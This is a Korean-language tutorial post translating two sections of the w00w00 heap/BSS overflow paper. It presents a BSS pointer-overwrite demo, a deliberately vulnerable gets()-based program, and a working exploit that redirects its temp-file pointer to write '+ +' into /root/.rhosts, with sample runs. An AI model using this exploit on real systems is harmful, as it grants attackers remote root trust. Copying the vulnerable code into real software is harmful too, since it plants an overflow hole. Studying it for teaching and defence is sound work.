이번 주에는 소스코드 중 목차 2.2, 2.3 에 해당하는 내용을 발송해 드립니다.
contents
0. Heap and Data/BSS section
1. Why Heap/BSS Overflows are Significant?
2. Exploiting Heap/BSS Overflows (source code)
2.1 Prelude of heap based overflow
2.2 Getting close
2.3 The First Chase
2.4 Playing with function pointers
2.5 Longjmp
3. The Preys
--------------------------------------------------------------------------------
2.2 Getting Close
/* demonstrates static pointer overflow in bss (uninitialized data) */
#include
#include
#include
#include
#include
#define BUFSIZE 16
#define ADDRLEN 4 /* # of bytes in an address */
int main()
{
u_long diff;
static char buf[BUFSIZE], *bufptr;
bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
&bufptr, bufptr, buf, diff, diff);
memset(buf, 'A', (u_int)(diff + ADDRLEN));
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
&bufptr, bufptr, buf, diff, diff);
return 0;
}
다음을 compile해서 실행시켜보면,
[root /w00w00/heap/examples/basic]# ./heap3
bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes
의 결과를 얻는다.
여기서 pointer가 원래의 위치와는 다른 곳을 가리키고 있음을 알게 된다. 이 방법을 사용하는 한 예는 temporary filename pointer가 argv[1]를 가리키도록 만들어 줄 수 있다. (argv[1]인 이유? .. 우리가 마음대로 넣어 줄 수 있는 값)
--------------------------------------------------------------------------------
2.3 The First Chase
다음 예는 /root/.rhosts 를 바꿔치는 example이다.
vulnerable program을 하나 만들어 주고 이를 exploit하는 예이다.
/*
* This is a typical vulnerable program. It will store user input in a temporary file.
*
* Compile as: gcc -o vulprog1 vulprog1.c
*/
#include
#include
#include
#include
#include
#define ERROR -1
#define BUFSIZE 16
/*
* Run this vulprog as root or change the "vulfile" to something else.
* Otherwise, even if the exploit works, it won't have permission to
* overwrite /root/.rhosts (the default "example").
*/
int main(int argc, char **argv)
{
FILE *tmpfd;
static char buf[BUFSIZE], *tmpfile;
if (argc <= 1)
{
fprintf(stderr, "Usage: %s n", argv[0]);
exit(ERROR);
}
tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
printf("before: tmpfile = %sn", tmpfile);
printf("Enter one line of data to put in %s: ", tmpfile);
gets(buf);
printf("nafter: tmpfile = %sn", tmpfile);
tmpfd = fopen(tmpfile, "w");
if (tmpfd == NULL)
{
fprintf(stderr, "error opening %s: %sn", tmpfile,
strerror(errno));
exit(ERROR);
}
fputs(buf, tmpfd);
fclose(tmpfd);
}
위 프로그램은 여러 프로그램에서 "자주" 그리고 자연스럽게 나타나는 예이다. 물론 이와 같은 프로그램이 (또 이 프로그램 역시) setuid나 root-owned daemon server가 아니길...
다음 code는 위의 프로그램을 exploit하는 프로그램이다.
/*
* Copyright (C) January 1999, Matt Conover & WSD
*
* This will exploit vulprog1.c. It passes some arguments to the
* program (that the vulnerable program doesn't use). The vulnerable
* program expects us to enter one line of input to be stored
* temporarily. However, because of a static buffer overflow, we can
* overwrite the temporary filename pointer, to have it point to
* argv[1] (which we could pass as "/root/.rhosts"). Then it will
* write our temporary line to this file. So our overflow string (what
* we pass as our input line) will be:
* + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
*
* We use "+ +" (all hosts), followed by '#' (comment indicator), to
* prevent our "attack code" from causing problems. Without the
* "#", programs using .rhosts would misinterpret our attack code.
*
* Compile as: gcc -o exploit1 exploit1.c
*/
#include
#include
#include
#include
#define BUFSIZE 256
#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */
#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */
/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
__asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}
int main(int argc, char **argv)
{
u_long addr;
register int i;
int mainbufsize;
char *mainbuf, buf[DIFF+6+1] = "+ +t# ";
/* ------------------------------------------------------ */
if (argc <= 1)
{
fprintf(stderr, "Usage: %s [try 310-330]n", argv[0]);
exit(ERROR);
}
/* ------------------------------------------------------ */
memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +t# ");
memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);
/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
mainbufsize = strlen(buf) + strlen(VULPROG) +
strlen(VULPROG) + strlen(VULFILE) + 13;
mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));
snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %sn",buf, VULPROG, VULFILE);
printf("Overflowing tmpaddr to point to %p, check %s after.nn",addr, VULFILE);
system(mainbuf);
return 0;
}
이를 다음과 같이 실행시키면,
[root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 320
Overflowing tmpaddr to point to 0xbffffd60, check /root/.rhosts after.
before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /vulprog1
Well, we can see that's part of argv[0] ("./vulprog1"), so we know we are
close:
[root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330
Overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.
before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /root/.rhosts
[root /tmp/heap/examples/advanced/vul-pkg1]#
이 exploit은 vulprog가 gets를 사용하기 때문에 (bound 를 check하지 않음) 이를 이용하여 buffer를 overflow시킨다. 그리고 이 buffer뒤 vulprog의 argv[1]의 주소를 대략 추측해서 집어 넣는다. 따라서 overflowed buffer 와 tmpfile pointer 사이의 모든 것들이 overwrite 된다. tmpfile의 pointer address는 임의의 갯수의 A를 보내서 얼마나 많은 A가 tmpfile의 pointer address에 닿는데 필요한가를 세어 대략적으로 추측할 수 있다. 만약 이러한 취약점을 가진 프로그램의 소스를 가지고 있다면 printf를 집어 넣어서 overflowed data 와 target data 사이의 address/offset 을 찍어 볼수도 있다. (i.e., 'printf("%p - %p = 0x%lx bytesn", buf2, buf1, (u_long)diff').
그러나 offset은 compile할 때 변하며 따라서 우리는 다시 offset을 계산해 주거나 추측하거나 아니면 무식한!! 방법을 동원해서 찾아야 한다.
note) 이제까지의 예들은 심지어 excutable한 heap도 필요하지 않는다. 이 예들은 address의 byte order문제만을 제외하고는 system/architecture independent하다.

운영자
01-02-06 09:26
0개
2,416회
Heap based Overflow --(2 )
댓글목록
등록된 댓글이 없습니다.